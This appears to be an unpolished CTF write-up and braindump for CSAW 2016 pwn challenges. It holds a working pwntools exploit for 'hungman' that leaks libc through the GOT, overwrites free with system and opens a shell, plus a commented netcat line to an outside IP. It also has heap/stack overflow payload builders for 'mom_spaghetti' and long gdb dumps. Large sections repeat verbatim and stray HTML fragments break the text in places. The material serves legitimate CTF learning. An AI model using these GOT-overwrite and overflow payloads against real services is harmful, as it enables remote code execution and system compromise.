0x42424242 0x42424242 0x42424242 0x42424242 0x1995040: 0x00000000 0x00000020 0x00602018 0x00000000 print hungman.recvuntil('?').encode('hex') # Highest player; cont? prints name normal 4869676865737420706c617965723a20 424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242 2073636f72653a20300a436f6e74696e75653f with free 4869676865737420706c617965723a20 2073636f72653a20300a436f6e74696e75653f print free $1 = {void (void *)} 0x7f121e43b950 <free> 0x602018 <free@got.plt>: 0x00007f121e0f7600 free has a god damn null at the start lolx this is ok either it's not there and i'm fine or I know it's there are I know that so it's ok play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00" + p64(free_got +1)) # free has a null at the start k so now it prints 4869676865737420706c617965723a20 c6234ced7f 2073636f72653a20300a436f6e74696e75653f index = resp.index("Highest player: ") + len("Highest player: ") addr = u64('\x00' + resp[index:index +5] + '\x00\x00') yep that gets the libc addr of free well.... free - what I get >>> 0x7f5c6645a950 - 0x7f5c66116600 3425104 maybe it's the same? >>> 0x7f69584fa950 - 0x7f69581b6600 3425104 yep $2 = {<text variable, no debug info>} 0x7f695817b490 <__libc_system> 000000000007c600 <__libc_free>: 000000000001f470 <free@plt>: 0000000000041490 <__libc_system>: __GI___libc_free 0x7f69581b6600 free@plt 0x00007f6958159470 $5 = {void (void *)} 0x7f69584fa950 <free> the distance from 000000000007c600 <__libc_free>: to 0000000000041490 <__libc_system>: will be the same after aslr free_libc_live = hacks... system_libc_live = free_libc_live + (system_libc - free_libc) I can't really test this locally anymore because my free has a null and I did that +1 trick so I can't write system wait lolz I can becasue the null is always there I know that the same will happen for system 000000000007c600 <__libc_free>: 0000000000041490 <__libc_system>: except system has a 90 no I'm is the retard can't do that anyway locally I can just prompt myself to enter the address of free k so next problem I was hoping to write system to free and then when that string gets freed I'd do write <addr_system>;/bin/sh to free got then free(<addr_system>;/bin/sh) but the nulls in the address fuck that over so I'm now aiming for buf 0x13fd000: 0x00000000 0x00000000 0x00000031 0x00000000 0x13fd010: 0x42424242 0x42424242 0x42424242 0x42424242 0x13fd020: 0x42424242 0x42424242 0x42424242 0x42424242 0x13fd030: 0x42424242 0x42424242 0x42424242 0x42424242 0x13fd040: 0x000000f8 0x00000022 0x00602018 0x00000000 0x13fd050: 0x01010001 0x00010101 0x01010101 0x00000001 0x13fd060: 0x00000000 0x00000000 0x00000000 0x00000000 0x13fd070: 0x00000000 0x00000000 0x00000000 0x00000000 0x13fd080: 0x00000000 0x00000000 0x00000000 0x00000000 0x13fd090: 0x00000000 0x00000000 0x00000000 0x00000000 0x13fd0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x13fd0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x13fd0c0: 0x00000000 0x00000000 0x00000031 0x00000000 0x13fd0d0: 0x6373646a 0x64796a75 0x646c7266 0x616b6370 0x13fd0e0: 0x64676b69 0x74656673 0x706d6574 0xd873736c 0x13fd0f0: 0x00000090 0x00000000 0x00000101 0x00000000 0x13fd100: 0x2b11b490 0x00007f0d 0x69622f3b 0x636e2f6e 0x13fd110: 0x2e323520 0x352e3236 0x39312e32 0x33312036 gdb-peda$ x/100wx 0x1b34000 0x1b34000: 0x00000000 0x00000000 0x00000031 0x00000000 0x1b34010: 0x42424242 0x42424242 0x42424242 0x42424242 0x1b34020: 0x42424242 0x42424242 0x42424242 0x42424242 0x1b34030: 0x42424242 0x42424242 0x42424242 0x42424242 0x1b34040: 0x0000008b 0x000000d0 0x01b34010 0x00000000 0x1b34050: 0x01010101 0x01010001 0x01010001 0x00000001 0x1b34060: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b34070: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b34080: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b34090: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b340a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b340b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x1b340c0: 0x00000000 0x00000000 0x00000031 0x00000000 0x1b340d0: 0x76786f61 0x78696362 0x68746771 0x75687565 0x1b340e0: 0x63686377 0x646b6d65 0x77746c6c 0x07637a74 0x1b340f0: 0x000000be 0x00000000 0x00000101 0x00000000 0x1b34100: 0x63636363 0x63636363 0x63636363 0x63636363 0x1b34110: 0x63636363 0x63636363 0x63636363 0x63636363 0x1b34120: 0x42424242 0x42424242 0x42424242 0x42424242 0x1b34130: 0x00000000 0x00000000 0x00602018 0x00000000 0x1b34140: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34150: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34160: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34170: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34180: 0x01010101 0x01010101 0x01010101 0x01010101 gdb-peda$ x/100wx 0x1b34000 0x1b34000: 0x00000000 0x00000000 0x00000031 0x00000000 0x1b34010: 0x63636363 0x63636363 0x63636363 0x63636363 0x1b34020: 0x63636363 0x63636363 0x63636363 0x63636363 0x1b34030: 0x42424242 0x42424242 0x42424242 0x42424242 0x1b34040: 0x00000000 0x00000000 0x00602018 0x00000000 0x1b34050: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34060: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34070: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34080: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34090: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b340a0: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b340b0: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b340c0: 0x01010101 0x01010101 0x00000031 0x00000000 0x1b340d0: 0x41414141 0x41414141 0x41414141 0x41414141 0x1b340e0: 0x63686377 0x646b6d65 0x77746c6c 0x07637a74 0x1b340f0: 0x000000be 0x00000000 0x00000101 0x00000000 0x1b34100: 0x63636363 0x63636363 0x63636363 0x63636363 0x1b34110: 0x63636363 0x63636363 0x63636363 0x63636363 0x1b34120: 0x42424242 0x42424242 0x42424242 0x42424242 0x1b34130: 0x00000000 0x00000000 0x00602018 0x00000000 0x1b34140: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34150: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34160: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34170: 0x01010101 0x01010101 0x01010101 0x01010101 0x1b34180: 0x01010101 0x01010101 0x01010101 0x01010101 [*] Switching to interactive mode sh: 1: \x90$\xa7�: not found sh: 1: ulmomtaFcccccccccccccccc : not found fml OMG I have called execve('jhaflhjjkldf') too many god damn times! ...
#!/usr/bin/python import os import time from pwn import * hungman = process("./hungman") # hungman = remote('pwn.chal.csaw.io',8003) # raw_input("start?") letters = "abcdefghijklmnopqrstuvwxyz" # intro print hungman.recv() hungman.sendline("B"*32) # send name print hungman.recvline() # print welcome def play_game(name="B"*32,should_change="y",shell=False): # raw_input('continue?') ret = "" for char in letters: line = hungman.recvline(timeout=1) # print progress print line + "bubbles" if "Default Highscore" in line: print "fuck" print hungman.recvuntil('?') # continu? hungman.send("y") break elif "High score!" in line: print "high" time.sleep(0.1) hungman.send(should_change + "\n") if should_change == "y": time.sleep(0.1) hungman.send(name) if shell: hungman.interactive() # hungman.interactive() ret = hungman.recvuntil('?') # Highest player; cont? print ret hungman.send("y") break hungman.send(char) # send guess return ret play_game() # I like to do these a few times just to # feel comfy :) free_got = 0x0000000000602018 free_plt = 0x0000000000400800 # this jumps to what ^ that points to # initially the got will point to free_plt + 6 # after we call free once the _dl_runtime_resolve # will update the got to be the libc version of free # from there I can work out system # cmd = ";/bin/sh;;;;;" "a"*16+ cmd + # play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00") # play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00") payload = 'cccccccccca;/bin/sh;cccccccccccc' payload += "BBBB"*4 payload += "\x00"*4 payload += "\x08\x00\x00\x00" payload += p64(free_got) payload += '\x01'*4*(4*7 +2) # win hangman payload += '\x31\x00\x00\x00' # probs length of something payload += '\x00\x00\x00\x00' payload += "A"*(32-16) # payload += "a" # buf .. or not resp = play_game(payload) # +1 for local because free has a null at the start print resp index = resp.index("Highest player: ") + len("Highest player: ") # free_libc_live = u64('\x00' + resp[index:index +5] + '\x00\x00') # free_libc_live = u64(resp[index:index +6] + '\x00\x00') # free_libc_live = int(raw_input("enter free libc").rstrip(),16) # local free_libc_live = 0x7ffff7aad600 system_libc = 0x0000000000041490 free_libc = 0x000000000007c600 # free_libc = 0x0000000000083a70 # <__libc_free>: # system_libc = 0x0000000000045380 # <__libc_system>: system_libc_live = free_libc_live + (system_libc - free_libc) print hex(free_libc_live) print hex(system_libc_live) # raw_input("did you work out system?") play_game(should_change="n") # cmd = ";/bin/nc 52.62.52.196 1337" # cmd = ";/bin/sh" play_game(p64(system_libc_live),shell=True) # write system to free play_game(should_change="n") play_game(should_change="n") # play_game("B"*32 + "BBBB"*4 + "\x00"*4 + "\x20\x00\x00\x00") play_game() play_game() play_game() play_game() play_game() play_game() play_game() play_game() play_game() play_game() play_game() print 'yay' # print 'yay' # play_game() # print 'yay' #hungman.sendline('A'*4) hungman.interactive() flag{this_looks_like_its_a_well_hungman}
CSAW 2016 pwn 500 mom_spaghetti (DRAFT)
It's currently 8am and CSAW has just finished.
I'm doing remarcably wel fur ony a btf sleeeeeep ZzZZzzz
This is my braindump/thoughts on the challenge that I made during the competition.
I'll polish this up when I am a) not sleep deprived, and b) can be bothered :)
thinking.txt
the environment variable
SPAGHETTI_SETUP_COMMAND
runs a command on start up
on the first byte sent
if ( s[0] <= 'c' )
make s[0] many threads
printf '\x06\x00\xff\x10' | nc localhost 24242
make 6 threads
processing 127.0.0.1:4351 <-- p="" x10="" xff="">
need to deal with this bit's foolery
int output(char *format, ...)
{
unsigned __int16 v1; // ax@1
va_list va; // [sp+24h] [bp+Ch]@1
va_start(va, format);
v1 = pthread_self();
printf("%s %04x ", "MOMS_SPAGHETTI", v1);
return vprintf(format, va);
}
hmmmm
struct sockaddr {
unsigned short sa_family; // address family, AF_xxx
char sa_data[14]; // 14 bytes of protocol address
};
0xf7dea2f0: 0xf7deab40f7400010 0xff100002f7dea358
0xf7dea300: 0x000000000100007f 0x0000000500000000
nc -l -p blah
v3 = recv(fd, s, 8u, 0);
if ( v3 == 8 )
need to send it 8
first 4 bytes need to be 1
first 8 bytes need to be < 0x40000000
buf = (int)malloc(n + 8);
need n to be giganormous
so that it overflows +8 and mallocs a small area
so that
if ( sock_recv(fd, bufa, n) )
reads in heaps
0xf7400468: 0x44434241 0x48474645
0x4847464544434241
moving into buf
0xf7400478: 0x44434241 0x00000000 0x00000000 0x00000000
0xf7400488: 0x00000000 0x00020b79 0x00000000 0x00000000
CD is like an internal pointer
=> 0x804920d: push eax
0x804920e: push DWORD PTR [ebp-0x14]
0x8049211: push DWORD PTR [ebp-0xc]
0x8049214: call 0x8048e37
arg[0]: 0x5 #fd
arg[1]: 0xf74048c3 --> 0x0 # bufa + 'CD'
arg[2]: 0x48474645 ('EFGH')
memset(bytesRead, 0, 8u);
numBytesRead = recv(fd, bytesRead, 8u, 0);
if ( numBytesRead == 8 )
{
if ( *(_WORD *)bytesRead == 1 ) // BA = 00 01
{
if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000
{
n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
buf = (int *)malloc(n + 8); // 8 + CD + EFGH
if ( buf )
{
v1 = *((_DWORD *)bytesRead + 1);
*buf = *(_DWORD *)bytesRead;
buf[1] = v1;
free(bytesRead);
bytesRead = buf; // abcdefgh01234567
bufa = buf + 2; // 01234567
if ( sock_recv(fd, bufa, n) ) // read EFGH+CD much into bufa
output("[thread] failed to read %i bytes\n", n);
buf = (int *)((char *)bufa + *((_WORD *)bytesRead + 1));// bufa + CD
process_request(fd, (int)buf, *((_DWORD *)bytesRead + 1));
sock_send(fd, " DONE", 5u);
}
else
v11 = parse_opcode((int)mem, memSize, (int)&s, 256);
=> 0x8048d6e: call 0x8048cca
0x8048d73: add esp,0x10
0x8048d76: mov DWORD PTR [ebp-0x10],eax
0x8048d79: cmp DWORD PTR [ebp-0x10],0x0
0x8048d7d: jne 0x8048d99
Guessed arguments:
arg[0]: 0xf7400488 ("ABCDEFGHIJKLMNOP")
arg[1]: 0xf7dea1c8 --> 0xab40
arg[2]: 0xf7fb2000 --> 0x18e98
(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x82BCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351
x82
the right nibble of that
tellls how many opcodes to use
(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351
-->
(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351
'\x01\x00<CD><EFGH><CD_many_things><EFGH_many_things>'
{<EFGH_many_things>} =
<X><X_many_things> for X < 0x80
or
<0xmn><n_many_things><int(n1,n2,n3,n4)_many_things> for m = 8 , n = 1,2,3,4
00ff == 256
<-- p="" x10="" xff="">
08
0000000040
1073741832
ffff
0000000040
1073807359
# returnThing = "0100080003010000414141414141414181010145414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')
very interesting
returnThing = "0100080003010000414141414141414181010445414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')
Server Said: \x04 INVALID REQUEST! DONE
fuck yes
lol no..
I'm thinking its a race condition
gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8 0xf6c003f8 0xf6c00400 0xf6c00400
0xf6c00410: 0xf6c00408 0xf6c00408 0xf6c00410 0xf6c00410
0xf6c00420: 0xf6c00418 0xf6c00418 0xf6c00420 0xf6c00420
0xf6c00430: 0xf6c00428 0xf6c00428 0xf6c00430 0xf6c00430
0xf6c00440: 0x00000000 0x00000000 0x00000000 0x00000000
0xf6c00450: 0xf7792420 0x00000000 0x00021000 0x00021000
0xf6c00460: 0x00000000 0x00000015 0x00000000 0x00000000
0xf6c00470: 0x00000000 0x00020b91 0x00000000 0x00000000
gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8 0xf6c003f8 0xf6c00400 0xf6c00400
0xf6c00410: 0xf6c00408 0xf6c00408 0xf6c00410 0xf6c00410
0xf6c00420: 0xf6c00418 0xf6c00418 0xf6c00420 0xf6c00420
0xf6c00430: 0xf6c00428 0xf6c00428 0xf6c00430 0xf6c00430
0xf6c00440: 0x00000000 0x00000000 0x00000000 0x00000000
0xf6c00450: 0xf7792420 0x00000000 0x00021000 0x00021000
0xf6c00460: 0x00000000 0x00000015 0x00010001 0x00000002
0xf6c00470: 0x00000000 0x00020b91 0x00000000 0x00000000
next plan
fuck up this shit
0xf6c00480: 0x00000000 0x00020b81
New game plan
run 2 threads
tell the thing to expect some data and then make them wait
numBytesRead = recv(fd, bytesRead, 8u, 0);
if ( numBytesRead == 8 )
{
if ( *(_WORD *)bytesRead == 1 ) // BA = 00 01 unsigned
{
if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000 unsigned
{
n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
buf = (int *)malloc(n + 8); // 8 + CD + EFGH
if ( buf )
{
v1 = *((_DWORD *)bytesRead + 1);
*buf = *(_DWORD *)bytesRead;
buf[1] = v1;
free(bytesRead);
bytesRead = buf; // abcdefgh01234567 0-7 == CD section
bufa = buf + 2; // 01234567
if ( sock_recv(fd, bufa, n) ) // read EFGH+CD much into bufa
you can hold program execution at the sock_recv and recv
practice manually fucking shit up
just before the malloc write to everywhere it will use
wtf happens here?
=> 0x8049201: add DWORD PTR [ebp-0x14],eax
omg getting excited agian
I need to give small efgh and cd == about 3 to make buf that other thing in memorry maybe
what if I had 4 CDs! and 0 efgh
0xf6c00480: 0x00450141 0x00020b81
process_request(int fd, void *mem, int memSize)
process_request(int fd, &weirdShit, 0)
this is fucking glorious
0x8048d6e: call 0x8048cca
0x00020b81
that
omg omg omg
if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
{
if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed
it's unsigned
so it's all sweet as
the signed one should be fine too
if ( *(_DWORD *)opLen <= (unsigned int)theRestLen )// unsigned
{
if ( *(_DWORD *)opLen + 1 <= stackBufLen )// signed
{
opsLeft = *(_DWORD *)opLen;
while ( 1 )
{
v7 = opsLeft--;
if ( v7 <= 0 )
break;
v9 = *(_BYTE *)theRest;
if ( v9 == -128 )
return 0;
v5 = stackBuf++;
v6 = theRest++;
*(_BYTE *)v5 = *(_BYTE *)v6;
then it does the copy
I should be able to malloc something directly after my little block
and then copy whatever I like into stackbuf
if opLen is ffff
then oplen +1 will be 0 which is less than stackBuffLen
that lets me overflow stackbuff
I'll also need to coordinate another thread to park some data in the heap there
k so turns out that you could get anything this way
which is good news
I'll spam a bunch of threads
at the start of each thread I'll put the payload I want for the opcode thing
84ffffffff
with that payload len theRestLen will be
-5
ff -1
fe -2
fd -3
fc -4
fb -5 <- p="" that="">
when I did it with my fluke bytes I got
0xfffffffe
so with my crafted payload I'll get
0xfffffffb
need oplen to be less that that
so the payload will have to be
84fffffffc at a max, which is a pretty generous upper limmit
at a minimum it has to be
7b40
if ( v9 == 0x80u )
return 0;
the hacking gods are in my favour
also I can put an 0x80 in shit and bail early once I've done the payload
def generateResponse(self):
opcodeData = self.opcodeData("E")
CD = 2
CD += self.num*4
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(CD+2)
returnThing += p32(EFGH)
returnThing += "\x01T"
returnThing += "\x80" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
Server Said: T 57DEA1B2 DONE
using the "\x01T" left over from another use! woo
def generateResponse(self):
opcodeData = self.opcodeData("E")
# CD = 0
if self.num %2 == 0:
CD = self.num*4
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(5 + 13*4 + CD)
returnThing += p32(EFGH)
returnThing += "\x81\xff\xff\xff\xfa" # load big oplen for other thread
returnThing += "A"*4
returnThing += "B"*4
returnThing += "C"*4
returnThing += "D"*4
returnThing += "E"*4 # stack overridding
returnThing += "F"*4
returnThing += "G"*4
returnThing += "H"*4
returnThing += "I"*4
returnThing += "J"*4
returnThing += "K"*4
returnThing += "L"*4
returnThing += "\x80"*4 # stop coppying
returnThing += "A" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
else:
CD = self.num*4
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(CD)
returnThing += p32(EFGH)
returnThing += "A" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
#theBestXD
def generateResponse(self):
opcodeData = self.opcodeData("E")
# CD = 2
CD = self.num
# EFGH = len(opcodeData)
EFGH = 0
returnThing = "\x01\x00" # version
returnThing += p16(CD*4)
returnThing += p32(EFGH)
returnThing += "\x01T\x01T"*CD
# returnThing += "\x80" * CD
# returnThing += opcodeData
# print returnThing.encode('hex')
return returnThing
copy_length + 1 > output_buffer_size
yay it works
nay it's hitting the thing
thinking send one then two and hold on the first recv
release 2 first so that it lines up
pause A till B leaves
0xf6200460: 0x00000000 0x00000015 0x00000000 0x00000000
0xf6200470: 0x00000000 0x00000015 0x00040001 0x00000000
0xf6200480: 0x42424242 0x00020b81 0x00000000 0x00000000
continue..
0xf6200460: 0x00000000 0x00000015 0x00000000 0x00000000
0xf6200470: 0x00000000 0x00000015 0xf6200460 0x00000000
0xf6200480: 0x42424242 0x00020b81 0x00000000 0x00000000
0xf6200440: 0x00000000 0x00000000 0x00000000 0x00000000
0xf6200450: 0xf6400010 0x00000000 0x00021000 0x00021000
0xf6200460: 0x00000000 0x00000015 0x00040001 0x00000000
0xf6200470: 0x00000000 0x00020b91 0x00000000 0x00000000
0xf6200480: 0x00000000 0x00000000 0x00000000 0x00000000
12 rows
6 blocks
3 extra
100 + 3 + 4*6 + 4*4*12
0xf59fe230: 0x41414141 0x41414141 0x41414141 0x41414141
0xf59fe240: 0x00000041 0x00000000 0x00000000 0x00000000
0xf59fe250: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe260: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe270: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe280: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe290: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf59fe300: 0x0100007f 0x00000000 0x00000006 0x00000006
0xf59fe310: 0x00000000 0xf59feb40 0xf59fe358 0x08049219
0xec3f0200: 0x41414141 0x020b7941 0x65000100 0x00000001
0xec3f0210: 0xffff8100 0x4141faff 0x41414141 0x41414141
0xec3f0220: 0x41414141 0x41414141 0x41414141 0x41414141
0xec3f0230: 0x41414141 0x41414141 0x41414141 0x41414141
0xec3f0240: 0x00000041 0x00000000 0x00000000 0x00000000
0xec3f0250: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0260: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0270: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0280: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f0290: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f02a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xec3f02b0: 0x00000000 0x00000000 0x00000000 0x00000000
why the fuck are they leaving!
opsLeft = *(_DWORD *)opLen;
while ( 1 )
{
v7 = opsLeft--;
if ( v7 <= 0 )
break;
v9 = *(_BYTE *)theRest;
if ( v9 == 0x80u )
return 0;
v5 = stackBuf++;
v6 = theRest++;
*(_BYTE *)v5 = *(_BYTE *)v6;
}
result = *(_DWORD *)opLen;
}
else
{
8048E30
A block is likely to get the same as a previous block so I should set up
one thats like
Junk
Junk
Junk
Goodshit
and then malloc a spot so that it fits in
payloads = [
"A"*128 + "\x81\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
"B"*(128)
]
becomes:
payloads = [
"A"*128 + "\x84\x00\x00\x02\xff" + '\xff'*(128 + 3 + 4*6 + 4*4*12) + "CCCC",
"B"*(128)
]
lol
0x1ffff7f
"A"*(126) + "\x84\x7f\xff\xff\xff" + 'A'*10 + "0x80",
->-->
I'm doing remarcably wel fur ony a btf sleeeeeep ZzZZzzz
This is my braindump/thoughts on the challenge that I made during the competition.
I'll polish this up when I am a) not sleep deprived, and b) can be bothered :)
thinking.txt
the environment variable
SPAGHETTI_SETUP_COMMAND
runs a command on start up
on the first byte sent
if ( s[0] <= 'c' )
make s[0] many threads
printf '\x06\x00\xff\x10' | nc localhost 24242
make 6 threads
processing 127.0.0.1:4351 <-- p="" x10="" xff="">
need to deal with this bit's foolery
int output(char *format, ...)
{
unsigned __int16 v1; // ax@1
va_list va; // [sp+24h] [bp+Ch]@1
va_start(va, format);
v1 = pthread_self();
printf("%s %04x ", "MOMS_SPAGHETTI", v1);
return vprintf(format, va);
}
hmmmm
struct sockaddr {
unsigned short sa_family; // address family, AF_xxx
char sa_data[14]; // 14 bytes of protocol address
};
0xf7dea2f0: 0xf7deab40f7400010 0xff100002f7dea358
0xf7dea300: 0x000000000100007f 0x0000000500000000
nc -l -p blah
v3 = recv(fd, s, 8u, 0);
if ( v3 == 8 )
need to send it 8
first 4 bytes need to be 1
first 8 bytes need to be < 0x40000000
buf = (int)malloc(n + 8);
need n to be giganormous
so that it overflows +8 and mallocs a small area
so that
if ( sock_recv(fd, bufa, n) )
reads in heaps
0xf7400468: 0x44434241 0x48474645
0x4847464544434241
moving into buf
0xf7400478: 0x44434241 0x00000000 0x00000000 0x00000000
0xf7400488: 0x00000000 0x00020b79 0x00000000 0x00000000
CD is like an internal pointer
=> 0x804920d
0x804920e
0x8049211
0x8049214
arg[0]: 0x5 #fd
arg[1]: 0xf74048c3 --> 0x0 # bufa + 'CD'
arg[2]: 0x48474645 ('EFGH')
memset(bytesRead, 0, 8u);
numBytesRead = recv(fd, bytesRead, 8u, 0);
if ( numBytesRead == 8 )
{
if ( *(_WORD *)bytesRead == 1 ) // BA = 00 01
{
if ( *((_DWORD *)bytesRead + 1) <= 0x40000000u )// HGFE <= 0x40000000
{
n = *((_DWORD *)bytesRead + 1) + *((_WORD *)bytesRead + 1);// = HGFE + DC
buf = (int *)malloc(n + 8); // 8 + CD + EFGH
if ( buf )
{
v1 = *((_DWORD *)bytesRead + 1);
*buf = *(_DWORD *)bytesRead;
buf[1] = v1;
free(bytesRead);
bytesRead = buf; // abcdefgh01234567
bufa = buf + 2; // 01234567
if ( sock_recv(fd, bufa, n) ) // read EFGH+CD much into bufa
output("[thread] failed to read %i bytes\n", n);
buf = (int *)((char *)bufa + *((_WORD *)bytesRead + 1));// bufa + CD
process_request(fd, (int)buf, *((_DWORD *)bytesRead + 1));
sock_send(fd, " DONE", 5u);
}
else
v11 = parse_opcode((int)mem, memSize, (int)&s, 256);
=> 0x8048d6e
0x8048d73
0x8048d76
0x8048d79
0x8048d7d
Guessed arguments:
arg[0]: 0xf7400488 ("ABCDEFGHIJKLMNOP")
arg[1]: 0xf7dea1c8 --> 0xab40
arg[2]: 0xf7fb2000 --> 0x18e98
(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x82BCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351
x82
the right nibble of that
tellls how many opcodes to use
(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351
-->
(printf '\x01\x00\x08\x00\x10\x00\x00\x0001234567\x04HintBCDEFGHIJKLMNOP';cat) | nc -klvv -p 4351
'\x01\x00<CD><EFGH><CD_many_things><EFGH_many_things>'
{<EFGH_many_things>} =
<X><X_many_things> for X < 0x80
or
<0xmn><n_many_things><int(n1,n2,n3,n4)_many_things> for m = 8 , n = 1,2,3,4
00ff == 256
<-- p="" x10="" xff="">
08
0000000040
1073741832
ffff
0000000040
1073807359
# returnThing = "0100080003010000414141414141414181010145414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')
very interesting
returnThing = "0100080003010000414141414141414181010445414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141".decode('hex')
Server Said: \x04 INVALID REQUEST! DONE
fuck yes
lol no..
I'm thinking its a race condition
gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8 0xf6c003f8 0xf6c00400 0xf6c00400
0xf6c00410: 0xf6c00408 0xf6c00408 0xf6c00410 0xf6c00410
0xf6c00420: 0xf6c00418 0xf6c00418 0xf6c00420 0xf6c00420
0xf6c00430: 0xf6c00428 0xf6c00428 0xf6c00430 0xf6c00430
0xf6c00440: 0x00000000 0x00000000 0x00000000 0x00000000
0xf6c00450: 0xf7792420 0x00000000 0x00021000 0x00021000
0xf6c00460: 0x00000000 0x00000015 0x00000000 0x00000000
0xf6c00470: 0x00000000 0x00020b91 0x00000000 0x00000000
gdb-peda$ x/32wx 0xf6c00400
0xf6c00400: 0xf6c003f8 0xf6c003f8 0xf6c00400 0xf6c00400
0xf6c00410: 0xf6c00408 0xf6c00408 0xf6c00410 0xf6c00410
0xf6c00420: 0xf6c00418 0xf6c00418 0xf6c00420 0xf6c00420
0xf6c00430: 0xf6c00428 0xf6c00428 0xf6c00430 0xf6c00430
0xf6c00440: 0x00000000 0x00000000 0x00000000 0x00000000
0xf6c00450: 0xf7792420 0x00000000 0x00021000 0x00021000
0xf6c00460: 0x00000000 0x00000015 0x00010001 0x00000002
0xf6c00470: 0x00000000 0x00020b91 0x00000000 0x00000000
next plan
fuck up this shit
0xf6c00480: 0x00000000 0x00020b81
New game plan
run 2 threads
tell the thing to expect some data and then make them wait
numBytesRead = recv(fd, bytesRead, 8u, 0);
if ( numBytesRead == 8 )
{
if ( *(_WORD *)bytesRead == 1 ) // BA = 00 01 unsigned
{
